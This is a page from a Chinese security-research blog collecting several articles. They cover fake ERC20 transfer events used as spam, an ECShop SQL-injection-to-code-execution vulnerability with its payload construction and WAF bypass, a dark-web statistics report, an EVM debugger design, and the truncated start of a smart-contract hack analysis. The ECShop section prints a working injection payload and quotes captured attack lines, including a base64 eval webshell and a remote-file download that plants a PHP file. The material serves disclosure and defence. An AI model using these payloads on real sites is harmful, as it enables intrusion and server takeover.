RSS Feed
更好更安全的互联网
  • blockwell.ai KYC Casper Token “牛皮癣广告” 事件分析

    2018-09-18
    作者:知道创宇404区块链安全研究团队
    时间:2018/09/13

    一、背景

    2018年9月7日早上1点左右,许多以太坊钱包账户都收到了一种名为blockwell.ai KYC Casper Token代币转进/出账消息:

    令人奇怪的是这些账号均表示之前对这个Token的“一无所知”,当这些收到消息用户并没有真正收到提示的那100个代币,而那些提示有100代币转出的用户在之前也并没有拥有过这种代币,这一切都显得“莫名其妙”!更加让一部分人奇怪和担心的是,这些“转进/出账”的操作,都不需要钱包拥有者的的任何密码私钥输入,于是很多不明真相的用户担心自己的钱包是不是被人恶意攻击 ...

    二、事件跟踪

    首先我们从blockwell.ai KYC Casper Token

    交易页面,看到的交易记录都是转出100代币的记录,没有任何转入记录。

    再看看实际转账到账户的交易信息

    可以看到通过调用这个合约,发起了一笔代币转账,在event logs里可以看到实际的交易

    然后具体的交易地址为

    整笔交易花费了244w的gas,价值2.28美元,有针对的从500个用户转账给了500个用户。

    继续跟踪到转账的from地址:

    正如文章开头提到的那样:所有的来源账户本身都是不持有这种代币的,跟踪一下也可以发现,无论是发起交易者还是接受交易者,都没有发生实际代币的变化。

    但是这些交易记录确实被保存在链上,那么这个事件的核心问题就在于:“这些记录是怎么被产生并记录的?”

    三、事件原理

    我们从合约分析入手

    不出所料,这种事件型的合约代码并不会直接给你开放源代码,通过利用我们404自主研发的智能合约OPCODE逆向工具,反编译后得到如下代码:

    源码如下

    从代码中可以很明显的看到一个特殊的函数x_975ef7df,这是唯一一个涉及到数组操作,且会触发Tranfser事件的函数。

    从代码中可以很清晰的看到, 在对地址列表的循环中,只触发了Transfer事件,没有任何其余的操作。

    我们知道遵守以太坊ERC20标准的合约代币才会被承认为ERC20代币,ERC20代币会直接被交易所承认。而 在ERC20标准中规定,transfer函数必须触发Transfer事件,事件会被记录在event log中,是不是说明平台和交易所在获取ERC20代币交易信息,是通过event log事件获取的呢?我们来测试一下。

    四、事件复现

    首先我们需要编写一个简单的ERC20标准的代币合约

    合约代币需要规定好代币的名称等信息,然后我们定义一个mylog函数。

    这里我们通过remix进行部署(由于需要交易所获得提示信息,所以我们需要部署在公链上)

    测试合约地址

    注:这里需要强调的是:转出/入账的地址都是可以自定义的,这也就是为什么所有的来源账户本身都是不持有这种代币的原因。

    然后直接发起交易

    然后我们的imtoken提示了消息,注意收到的消息了包含了我们的代码里 symbol = "RMB";的值rmb

    回看余额可以发现没有实际转账诞生。

    五、事件目的

    通过上面分析及测试,我们发现整个事件最后只说了一件事情就是伪照了大量的虚假交易记录,并没有其他“实质”性的恶意操作,那么这个事件的目的是什么呢?

    我们回顾下整个事件的流程:

    创建一个token ---> 伪造交易记录 ---> 钱包或交易平台获取交易记录 ---> 推送给用户

    如果能找到自定义的消息,那么这是一条完美的消息推广链!这个事件的始作俑者非常聪明的利用了token名这个自定义输入点:blockwell.ai KYC Casper Token,blockwell.ai这个就是本次事件的主要目的,牛皮癣小广告推广这个网站。

    看你有的人会说如果只是用来做广告推广的话,完全可以使用代币的真实转账记录来推广,而不是利用伪造交易记录。这里需要提醒大家的是“广告费”的问题,这个“广告费”也就是合约操作里的gas消耗,伪造交易记录只需要Transfer操作的gas可以大大节省这个“广告费”,本次事件整个过程的话费的“广告费”约2.28美元的gas,就实现了对1000个用户有针对的推送了精准广告。

    六、总结

    结合以往的各种事件,相比于区块链的各种有限应用场景里,在“恶意”攻击或者利用的层面,攻击者们表现出了惊人的“创意”,本次事件利用了”交易所/平台却盲目信任符合ERC20标准的合约“的特点,使用了以太坊平台本身实现的“bug”,利用了最少的“广告费”实现了精准的用户广告推送。

    另外一个值得我们去关注的点就是被用来做消息推送的点是可以自定义的,那么可能导致的风险是非常值得思考的:比如推送钓鱼网站信息,推送其他非法类型的小广告及言论,会导致钱包等平台应用方的用户的其他不可以预期的风险!我们也提醒各大钱包、交易所等平台警惕此类风险,必要时针对这些可自定义点进行相关识别及过滤。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/700/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • ECShop 0day 的堕落之路

    2018-09-12
    Author: Badcode@知道创宇404实验室
    Date: 2018/09/04

    背景

    ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。2018年6月13日,知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击,通过分析,发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。于2018年6月14日,提交到知道创宇Seebug漏洞平台并收录

    随后于2018年8月31日,ID为“ringk3y”研究人员在其博客公开这个漏洞,并做了详细分析,该分析收录在Seebug Paper

    知道创宇404积极防御团队于2018年9月2日正式对外发布《ECShop全系列版本的远程代码执行漏洞》预警。

    从2018年的6月13日首次拦截后,知道创宇404实验室多个团队对这个利用ECShop 0day攻击事件进行持续的监控分析,从下文的分析结果可以看出一个0day漏洞在实际攻击中的各个阶段的“堕落”过程。

    漏洞分析

    该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

    值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。

    注:以下代码分析基于ECShop 2.7.3

    SQL 注入漏洞

    首先看到ecshop/user.php

    可以看到$back_act是从HTTP_REFERER获取到的,HTTP_REFERER是外部可控的,这也是万恶的根源。

    接着将back_act变量传递给assign函数,跟进ecshop/includes/cls_template.php

    可以从注释了解这个函数的功能,是注册模板变量,也就是$back_act变成了$this->_var[$back_act]=$back_act,而后调用display函数

    user.php调用display函数,传递进来的$filenameuser_passport.dwt,从函数来看,首先会调用$this->fetch来处理user_passport.dwt模板文件,fetch函数中会调用$this->make_compiled来编译模板。user_passport.dwt其中一段如下:

    make_compiled会将模板中的变量解析,也就是在这个时候将上面assign中注册到的变量$back_act传递进去了,解析完变量之后返回到display函数中。此时$out是解析变量后的html内容,判断$this->_echash是否在$out中,若在,使用$this->_echash来分割内容,得到$k然后交给insert_mod处理。

    由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。跟进$this->insert_mod

    $val传递进来,先用|分割,得到$fun$para$para进行反序列操作,$funinsert_拼接,最后动态调用$fun($para),函数名部分可控,参数完全可控。接下来就是寻找以insert_开头的可利用的函数了,在ecshop/includes/lib_insert.php有一个insert_ads函数,正好满足要求。看下insert_ads

    $arr是可控的,并且会拼接到SQL语句中,这就造成了SQL注入漏洞。

    根据上面的流程,可以构造出如下形式的payload

    实际可利用payload

    代码执行

    继续看insert_ads函数

    可以看到在SQL查询结束之后会调用模板类的fetch方法,在user.php中调用display,然后调用fetch的时候传入的参数是user_passport.dwt,而在此处传入的参数是$position_style,向上溯源,发现是$row['position_style']赋值而来,也就是SQL语句查询的结果,结果上面这个SQL注入漏洞,SQL查询的结果可控,也就是$position_style可控。

    要到$position_style = $row['position_style'];还有一个条件,就是$row['position_id']要等于$arr['id'],查询结果可控,arr['id']同样可控。

    之后$position_style会拼接'str:'传入fetch函数,跟进fetch

    因为之前拼接'str:'了,所以strncmp($filename,'str:', 4) == 0为真,然后会调用危险函数$this->_eval,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理,跟进

    第一个正则会匹配一些关键字,然后置空,主要看下最后一个正则

    这个正则是将捕获到的值交于$this-select()函数处理。例如,$source的值是xxx{$abc}xxx,正则捕获到的group 1 就是$abc,然后就会调用$this-select("$abc")

    跟进select函数

    当传入的变量的第一个字符是$,会返回由 php 标签包含变量的字符串,最终返回到_eval()危险函数内,执行。在返回之前,还调用了$this->get_var处理,跟进get_var

    当传入的变量没有.$时,调用$this->make_var,跟进make_var

    在这里结合select函数里面的语句来看,<?php echo $this->_var[' $val '];?>,要成功执行代码的话,$val必须要把['闭合,所以payload构造,从下往上构造,$valabc'];echo phpinfo();//;从select函数进入get_var的条件是第一个字符是$,所以payload变成了$abc'];echo phpinfo();//;而要进入到select,需要被捕获,payload变成了{$abc'];echo phpinfo();//},这里因为payload的是phpinfo(),这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为{$abc'];echo phpinfo/**/();//},到这里为止,php 恶意代码就构造完成了。

    接下来就是把构造好的代码通过SQL注入漏洞传给$position_style。 这里可以用union select 来控制查询的结果,根据之前的流程,$row['position_id']$arr['id']要相等,$row['position_id']是第二列的结果,$position_style是第九列的结果。$arr['id']传入' /*,$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -0x27202f2a' /*的16进制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面构造的php代码的16进制值,也就是$position_style

    结合之前的SQL漏洞的payload构造,所以最终的payload的是

    可以看到成功的执行了phpinfo()

    ECShop 3.x 绕过

    上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测,按照上面构造的 payload ,union select 会触发SQL注入的检测规则,有兴趣的可以去绕绕,我没绕过。。

    下面的测试版本为ECshop3.0,3.x版本的echash45ea207d7a2b68c49582d2d22adf953a。 上面说了 insert_ads 函数存在注入,并且有两个可控点,$arr['id']$arr['num'],可以将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/注释掉,这样就不会触发WAF。

    实际攻击分析

    上文提到该漏洞最早由知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”在2018年6月13日拦截并捕获,随后针对这个漏洞的攻击情况做了详细的监控及跟进:

    第一阶:0day在野之“APT攻击” (2018年6月13日)

    首次捕获到 2.x 的 payload 是被用来攻击某区块链交易所网站,因此我们高度怀疑攻击者是用 0day 来攻击区块链交易所的 apt团队。样本中 payload 通过HTTP 请求头的Referer字段植入,如下

    把捕获的 payload 转码出来看

    恶意代码

    base64部分的内容是

    可以看到,没有写入 webshell,而是直接接收$_POST['Nox']参数,进行base64解码后直接传入eval函数执行代码,相当于一个无文件的 webshell ,非常隐蔽。

    本次攻击是由一个日本ip(35.200.*.*)发起,通过攻击的手法及使用的paylaod等情况来看,并直接了当地用来攻击某著名区块链交易所,我们高度怀疑是目的性非常明确的“APT攻击”。

    第二阶:0day在野之“黑产攻击” (2018年8月)

    在随后整个7月都没有出现利用该漏洞攻击的记录直到8月初,在整个8月拦截捕获该0day漏洞攻击记录10余次,攻击者使用的 payload 都相同,且都是一个菲律宾IP(180.191.*.*)发起的攻击。如下:

    // file_put_contents('1.php',file_get_contents('http://uee.me/MrJc'));和这篇分析文章里捕获到的样本一致。

    从整个8月拦截的10余次攻击目标,payload等手法来看,我们认为极有可能该0day漏洞已经被流入到“高端黑产”团队,并进行了批量自动化攻击。

    第三阶:0day曝光之“疯狂攻击” (2018年8月31日后)

    在2018年8月31日漏洞细节被公开之后,攻击数量开始增加,捕获到的 payload 也变的多种多样,漏洞被广泛利用。

    从这些人使用的攻击目标、手法及payload(攻击使用的payload仍然只适用于2.x版本,目前为止没有看到使用针对3.x payload攻击)等情况来看,考虑大量的“低端黑产”玩家开始加入进来,继续“疯狂”的抓鸡行动中,榨干这个漏洞的最后一滴“油水”...

    漏洞影响范围及修复

    根据ZoomEye网络空间搜索引擎对ECShop关键字的搜索结果,共找到42400 条历史记录。

    漏洞修复

    目前我们分析下载最新版的ECShop 4.0里对这个漏洞进行修复:

    看到ecshop4/ecshop/includes/lib_insert.php

    可以看到,将传递进来的$arr[id]$arr[num]强制转换成整型,这样就没法利用这个漏洞了。

    另外我们注意到官方并没有发布针对老版本的(2.x和3.x)的独立修复补丁,相关老版本的用户可参考ECShop 4.0代码来修复或者直接升级到ECShop 4.0。

    小结

    本次ECShop这个漏洞挖掘到漏洞利用非常有技术含量,可以算是一个经典的“二次漏洞”案例,从一个SQL注入漏洞最后完美实现转变为代码执行漏洞。另外从这个漏洞在野外实际利用的过程,也非常的“经典”,完美重现了一个0day漏洞被挖掘利用转变为“武器”后的完美历程:从被用来目标明确的“定向攻击”,再到“黑产”高端玩家,直到最后在曝光后沦为黑产“抓鸡”工具的“堕落” ...

    感谢我们404实验室各团队小伙伴的努力~~ 我爱你们~~

    参考链接


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/695/

    作者:Elfinx | Categories:安全研究安全科普 | Tags:
  • 2018上半年暗网研究报告

    2018-09-12
    作者:知道创宇404实验室
    报告下载:《2018上半年暗网研究报告》

    1 基本概念

    1.1 Deep web/Dark web/Darknet

    讲述暗网之前,需要先了解“深网”(Deep web)、“暗网”(Dark web) 和“黑暗网络”(Darknet) 这三个词。虽然媒体可能经常交替使用它们,但实际上它们代表着截然不同而又相关的互联网区段。

    “深网”(Deep web) 是指服务器上可通过标准的网络浏览器和连接方法访问的页面和服务,但主流搜索引擎不会收录这些页面和服务。搜索引擎之所以不会收录深网,通常是因为网站或服务的配置错误、拒绝爬虫爬取信息、需要付费查看、需要注册查看或其他内容访问限制。

    “暗网”(Dark web) 是深网中相对较小的一部分,与被故意隐藏的 Web 服务和页面有关。仅使用标准浏览器无法直接访问这些服务和页面,必须依靠使用覆盖网络 (Overlay Network);而这种网络需要特定访问权限、代理配置、专用软件或特殊网络协议。

    “黑暗网络”(Darknet) 是在网络层访问受限的框架,例如 Tor 或 I2P。私有 VPN 和网状网络 (Mesh Network) 也属于这个类别。通过这些框架的网络流量会被屏蔽。当进行数据传输时,系统只会显示您连接的黑暗网络以及您传输了多少数据,而不一定会显示您访问的网站或所涉及数据的内容。与之相反的是,直接与明网(Clean Net)或与未加密的表网服务和深网服务交互。在这种情况下,您与所请求资源之间的互联网服务提供商 (ISP) 和网络运营商可以看到您传输的流量内容。

    1.2 暗网 (Dark Web) 的组成

    暗网只能通过Tor (The Onion Routing)和I2P(Invisible Internet Project)等网络访问。

    Tor又名洋葱网络,是用于匿名通信的软件,该名称源自原始软件项目名称“The Onion Router”的首字母缩写词,Tor网络由超过七千个中继节点组成,每个中继节点都是由全球志愿者免费提供,经过层层中继节点的中转,从而达到隐藏用户真实地址、避免网络监控及流量分析的目的。

    I2P网络是由I2P路由器以洋葱路由方式组成的表层网络,创建于其上的应用程序可以安全匿名的相互通信。它可以同时使用UDP及TCP协议,支持UPnP映射。其应用包括匿名上网、聊天、网站搭建和文件传输。

    通过知道创宇“暗网雷达”的实时监测数据表明,Tor 网络大约拥有12万个独立域名(onion address),而I2P网络公开地址薄大约只有8千个地址,体量相对 Tor 网络要小得多。

    2 暗网的现状

    2.1 Tor全球中继节点分布

    截至2018年7月31日,我们统计了全球中继节点的分布状况,全球总计有17635个中继节点,其中正在运行的有6386个,它们的平均带宽为5.33MB/s,最大带宽为99MB/s;相比其他区域而言,北美和欧洲的带宽更大;大部分中继节点分布在北美和欧洲,中国香港只有6个。

    因此可以得出结论,相比表网而言,暗网的规模要小的很多,Tor 网络节点带宽不足以支撑超大的网络流量,网络媒体关于暗网与表网的“冰山比喻”有些夸张了。

    2.2 Tor 网络数据统计

    根据Tor官方项目的统计数据显示,2018年上半年Tor暗网地址(onion addresses (version 2 only))数量峰值为121078个。

    图2.2 暗网地址数量Tor网络来自中国用户数量平均每天1159人,高峰期为2018年5月9日,达到3951人,绝大多数暗网中文用户使用 Meet 类型的流量访问Tor暗网。

    图2.2. 暗网中国用户数量统计针对约12万左右的暗网域名,我们深入进行了研究,得出结论:

    • Onion域名每日存活量约1.2万左右,只占总数的10%;
    • Onion v2 类型的域名有121451个,v3类型的域名只有379个;
    • 每日平均暗网新增数量为30个;

    2.3 Tor暗网的主要类别

    通过知道创宇“暗网雷达”的监测,我们将暗网归为12大类,各类占比如上图所示;通过对各类中独立域名的标题进行整合分析,提取网站标题中关键字出现的频率,生成词云:

    • 商业类占18.98%;其中包括交易市场,自营商店,第三方托管平台(网站担保);交易品种大多是信用卡、枪支、毒品、护照、电子产品、伪钞、欧元票据、亚马逊礼品卡、解密服务、杀手服务、比特币洗钱服务等;大多数网站使用比特币进行交易。
    • 个人类占5.90%;包括个人博客,页面,书籍等。
    • 社会类占4.57%;包括论坛,暗网维基等。
    • 其他语言(非英语)占3.82%;
    • 主机托管类占3.05%;主要为暗网服务托管商的宣传站,介绍其机器性能与架构。
    • 成人类占2.87%;
    • 技术类占2.74%;分享技术/出售黑客技术/售卖0day/漏洞利用
    • 核心网站占1.91%;包括暗网搜索引擎,暗网链接目录等
    • 通讯类占1.79%;包括聊天室,邮件服务,暗网邮箱
    • 政治与宗教类占1.34%;包括暗网的新闻媒体机构,全球维基解密,政党丑闻,激进主义言论,传教等。
    • 赌博类占0.46%;网络赌场等。
    • 其他类(艺术,音乐,需登陆的,无内容,被查封的,视频等)占52.57%;

    可以看到”Freedom Hosting II - hacked”这几个词在各大类中都占据很高的比例。原因是匿名者组织(Anonymous)攻击了当时最大的Tor暗网托管服务提供商Freedom Hosting II,因为它向大量共享儿童色情图片的网站提供主机托管服务。直接导致约20%的Tor网站关闭。

    2.4 Tor暗网Web服务分布

    我们统计了排名前20的Web服务器, 绝大多数暗网网站使用Nginx和Apache作为Web服务器,约1%的暗网使用了Cloudflare作为其 DDoS防护措施。

    2.5 Tor暗网开放端口分布

    http 80端口占69.55%;smtp 25端口占比23.24%;https 443端口占2.88%;ssh 22端口占1.68%。

    2.6 Tor暗网语种分布

    通过机器学习分析网站的标题和内容,我们将暗网进行了语种归类,Tor暗网语种总数有80种,英语依旧是暗网中最流行的语言,占比高达82.02%;接着依次是俄语3.77%、丹麦语2.22%、德语1.73%、拉丁语1.26%、西班牙语1.26%、法语1.13%、葡萄牙语1.00%、汉语0.75%、意大利语0.60%。

    3 暗网的威胁

    由于暗网的匿名特性,暗网中充斥着大量欺诈,非法的交易,没有限制的信息泄露,甚至是危害国家安全的犯罪等, 这些风险一直在威胁着社会,企业和国家的安全。2018年上半年,中国互联网就有大量的疑似数据泄露事件的信息在暗网传播,例如:《某视频网站内网权限及千万条用户数据库暗网售卖事件》

    • 2018年3月8日,黑客在暗网论坛发布某视频网站1500万一手用户数据
    • 2018年6月9日,黑客在暗网论坛发布某视频网站 SHLL+内网权限并公布了300条用户数据
    • 2018年6月13日凌晨,某视频网站官方发布公告称网站遭遇黑客攻击,近千万条用户数据外泄,提醒用户修改密码

    另外还有诸如

    • 某省1000万学籍信息在暗网出售
    • 某快递公司10亿条快递物流数据暗网出售

    等一系列的隐私信息泄露的事件在中国互联网引起广泛传播和关注。

    暗网也成为各种威胁情报信息的重要来源之一。

    从我们监测的数据来看,暗网还在呈现缓慢增长的态势,随着暗网用户的增多,黑市及加密数字货币的发展,更多的黑客在利益的的驱动下开展各种活动,把之前通过表网(互联网)传播的非法交易更多的转移至暗网,通过各种技术手段躲避追踪。对监管和调查造成了一定的困难。

    面对日益增长的暗网威胁, 知道创宇404安全研究团队会持续通过技术手段来测绘暗网,提供威胁情报,追踪和对抗来自暗网的威胁,为了更好更安全的互联网。


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/686/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • 以太坊智能合约 OPCODE 逆向之调试器篇

    2018-09-05
    作者:Hcamael@知道创宇404区块链安全研究团队
    时间:2018/09/04
    上一篇《以太坊智能合约 OPCODE 逆向之理论基础篇》,对智能合约的OPCODE的基础数据结构进行了研究分析,本篇将继续深入研究OPCODE,编写一个智能合约的调试器。

    Remix调试器

    Remix带有一个非常强大的Debugger,当我的调试器写到一半的时候,才发现了Remix自带调试器的强大之处,本文首先,对Remix的调试器进行介绍。

    能调试的范围:

    1. 在Remix上进行每一个操作(创建合约/调用合约/获取变量值)时,在执行成功后,都能在下方的控制界面点击DEBUG按钮进行调试

    2. Debugger能对任意交易进行调试,只需要在调试窗口输入对应交易地址

    3. 能对公链,测试链,私链上的任意交易进行调试

    点击Environment可以对区块链环境进行设置,选择Injected Web3,环境取决去浏览器安装的插件

    比如我,使用的浏览器是Chrome,安装的插件是MetaMask

    通过MetaMask插件,我能选择环境为公链或者是测试链,或者是私链

    Environment设置为Web3 Provider可以自行添加以太坊区块链的RPC节点,一般是用于设置环境为私链

    4. 在JavaScript的EVM环境中进行调试

    见3中的图,把Environment设置为JavaScript VM则表示使用本地虚拟环境进行调试测试

    在调试的过程中能做什么?

    Remix的调试器只提供了详细的数据查看功能,没法在特定的指令对STACK/MEM/STORAGE进行操作

    在了解清楚Remix的调试器的功能后,感觉我进行了一半的工作好像是在重复造轮子。

    之后仔细思考了我写调试器的初衷,今天的WCTF有一道以太坊智能合约的题目,因为第一次认真的逆向EVM的OPCODE,不熟练,一个下午还差一个函数没有逆向出来,然后比赛结束了,感觉有点遗憾,如果当时能动态调试,可能逆向的速度能更快。

    Remix的调试器只能对已经发生的行为(交易)进行调试,所以并不能满足我打CTF的需求,所以对于我写的调试器,我转换了一下定位:调试没有源码,只有OPCODE的智能合约的逻辑,或者可以称为离线调试。

    调试器的编写

    智能合约调试器的编写,我认为最核心的部分是实现一个OPCODE解释器,或者说是自己实现一个EVM。

    实现OPCODE解释器又分为两部分,1. 设计和实现数据储存器(把STACK/MEM/STORAGE统称为数据储存器),2. 解析OPCODE指令

    数据储存器

    STACK

    根据OPCODE指令的情况,EVM的栈和计算机的栈数据结构是一个样的,先入先出,都有PUSHPOP操作。不过EVM的栈还多了SWAPDUP操作,栈交换和栈复制,如下所示,是我使用Python实现的EVM栈类:

    和计算机的栈比较,我觉得EVM的栈结构更像Python的List结构

    计算机的栈是一个地址储存一个字节的数据,取值可以精确到一个字节,而EVM的栈是分块储存,每次PUSH占用一块,每次POP取出一块,每块最大能储存32字节的数据,也就是2^256-1,所以上述代码中,对每一个存入栈中的数据进行取余计算,保证栈中的数据小于2^256-1

    MEM

    EVM的内存的数据结构几乎和计算机内存的一样,一个地址储存一字节的数据。在EVM中,因为栈的结构,每块储存的数据最大为256bits,所以当OPCODE指令需要的参数长度可以大于256bits时,将会使用到内存

    如下所示,是我使用Python实现的MEM内存类:

    使用python3中的bytearray类型作为MEM的结构,默认初始化256B的内存空间,因为有一个OPCODE是MSIZE:

    Get the size of active memory in bytes.

    所以每次设置内存值时,都要计算active memory的size

    内存相关设置的指令分为三类

    1. MSTORE, 储存0x20字节长度的数据到内存中
    2. MSTORE8, 储存1字节长度的数据到内存中
    3. CALLDATACOPY(或者其他类似指令),储存指定字节长度的数据到内存中

    所以对应的设置了3个不同的储存数据到内存中的函数。获取内存数据的类似。

    STORAGE

    EVM的STORAGE的数据结构和计算机的磁盘储存结构相差就很大了,STORAGE是用来储存全局变量的,全局变量的数据结构我在上一篇文章中分析过,所以在用Python实现中,我把STORAGE定义为了字典,相关代码如下:

    因为EVM中操作STORAGE的相关指令只有SSTORESLOAD,所以使用python的dict类型作为STORAGE的结构最为合适

    解析OPCODE指令

    对于OPCODE指令的解析难度不是很大,指令只占一个字节,所以EVM的指令最多也就256个指令(0x00-0xff),但是有很多都是处于UNUSE,所以以后智能合约增加新指令后,调试器也要进行更新,因此现在写的代码需要具备可扩展性。虽然解析指令的难度不大,但是仍然是个体力活,下面先来看看OPCODE的分类

    OPCODE分类

    在以太坊官方黄皮书中,对OPCODE进行了相应的分类:

    0s: Stop and Arithmetic Operations (从0x00-0x0f的指令类型是STOP指令加上算术指令)

    10s: Comparison & Bitwise Logic Operations (0x10-0x1f的指令是比较指令和比特位逻辑指令)

    20s: SHA3 (目前0x20-0x2f只有一个SHA3指令)

    30s: Environmental Information (0x30-0x3f是获取环境信息的指令)

    40s: Block Information (0x40-0x4f是获取区块信息的指令)

    50s: Stack, Memory, Storage and Flow Operations (0x40-0x4f是获取栈、内存、储存信息的指令和流指令(跳转指令))

    60s & 70s: Push Operations (0x60-0x7f是32个PUSH指令,PUSH1-PUSH32)

    80s: Duplication Operations (0x80-0x8f属于DUP1-DUP16指令)

    90s: Exchange Operations (0x90-0x9f属于SWAP1-SWAP16指令)

    a0s: Logging Operations (0xa0-0xa4属于LOG0-LOG4指令)

    f0s: System operations (0xf0-0xff属于系统操作指令)

    设计可扩展的解释器

    首先,设计一个字节和指令的映射表:

    然后就是设计一个解释器类:

    • MAX变量用来控制计算的结果在256bits的范围内
    • over变量用来标识程序是否执行结束
    • store用来访问runtime变量: STACK, MEM, STORAGE

    在这种设计模式下,当解释响应的OPCODE,可以直接使用

    特殊指令的处理思路

    在OPCODE中有几类特殊的指令:

    1. 获取区块信息的指令,比如:

    NUMBER: Get the block’s number

    该指令是获取当前交易打包进的区块的区块数(区块高度),解决这个指令有几种方案:

    • 设置默认值
    • 设置一个配置文件,在配置文件中设置该指令的返回值
    • 调试者手动利用调试器设置该值
    • 设置RPC地址,从区块链中获取该值

    文章的开头提过了对我编写的调试器的定位问题,也正是因为遇到该类的指令,才去思考调试器的定位。既然已经打包进了区块,说明是有交易地址的,既然有交易地址,那完全可以使用Remix的调试器进行调试。

    所以对我编写的调试器有了离线调试器的定位,采用上述方法中的前三个方法,优先级由高到低分别是,手动设置>配置文件设置>默认设置

    2. 获取环境信息指令,比如:

    ADDRESS: Get address of currently executing account.

    获取当前合约的地址,解决方案如下:

    • 设置默认值
    • 设置一个配置文件,在配置文件中设置该指令的返回值
    • 调试者手动利用调试器设置该值

    获取环境信息的指令,因为调试的是OPCODE,没有源码,不需要部署,所以是没法通过RPC获取到的,只能由调试者手动设置

    3. 日志指令

    LOG0-LOG4: Append log record with no topics.

    把日志信息添加到交易的回执单中

    上述就是获取一个交易的回执单,其中有一个logs列表,就是用来储存日志信息

    既然是在调试OPCODE,那么记录日志的操作就是没有必要的,因为调试的过程中能看到储存器/参数的情况,所以对于这类指令的操作,完全可以直接输出,或者不做任何处理(直接pass)

    4. 系统操作指令

    这类指令主要是外部调用相关的指令,比如可以创建合约的CREATE, 比如能调用其他合约的CALL, 比如销毁自身,并把余额全部转给别人的SELFDESTRUCT

    这类的指令我认为的解决办法只有: 调试者手动利用调试器设置该指令的返回值

    调用这类函数的时候,我们完全能看到详细的参数值,所以完全可以手动的进行创建合约,调用合约等操作

    总结

    在完成一个OPCODE的解释器后,一个调试器就算完成了3/4, 剩下的工作就是实现自己想实现的调试器功能,比如下断点,查看栈内存储存数据等

    下面放一个接近成品的演示gif图:


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html

    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/693/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • 智能合约游戏之殇——God.Game 事件分析

    2018-08-29

    作者:Sissel@知道创宇404区块链安全研究团队
    时间:2018年8月24日

    0x00 前言

    当你凝视深渊时,深渊也在凝视着你。

    越来越多的乐透、赌博游戏与区块链体系结合起来,步入众多投资者和投机者的视野中。区块链可以说是这类游戏的温床。正面来说,区块链的可信机制与合约的公开,保证了游戏的中立。另一方面,区块链的非实名性,也让玩家的个人信息得以隐藏。

    分红、邀约、股息,这些游戏看似利益诱人,实则一个个都是庞氏骗局。游戏火了,诈骗满满皆是。每个人都信心满满地走进游戏,投入大笔资金,希望自己成为受益者,别人都是自己的接盘侠。这样的游戏,只有两个结局,不是游戏所有者获益,就是半路杀进游戏的区块链黑客卷走一切,让玩家血本无归,无一例外。日复一日,无数投机者交了学费,空手而归,却又毫不死心,重入深渊。

    游戏依然层出不穷,不信邪的人也是接连不断。近日,国内出现了一款类PoWH的银行游戏,在两周的宣传过后,短短数日,就完成了游戏创建、集资、黑客卷钱走人这一整个流程,让无数玩家措手不及。

    时间线

    • 2018年08月19日晚十一点半,宣传良久的区块链赌博游戏God.Game合约被创建于以太坊6176235区块。在之后的两天时间,游戏内加入了大量玩家,合约内存储的以太币也增加到了243eth。
    • 2018年08月21日凌晨一点钟,攻击者经过简单的测试,部署了一个攻击合约。短短几分钟时间,利用游戏合约漏洞,将合约账户的eth洗劫为空。

    知道创宇404区块链安全研究团队得知此事件后,对游戏合约进行了仔细审计,复现了攻击者的手法,接下来,将对整个事件进行完整的分析,并给出一种简洁的利用方式。

    0x01 合约介绍

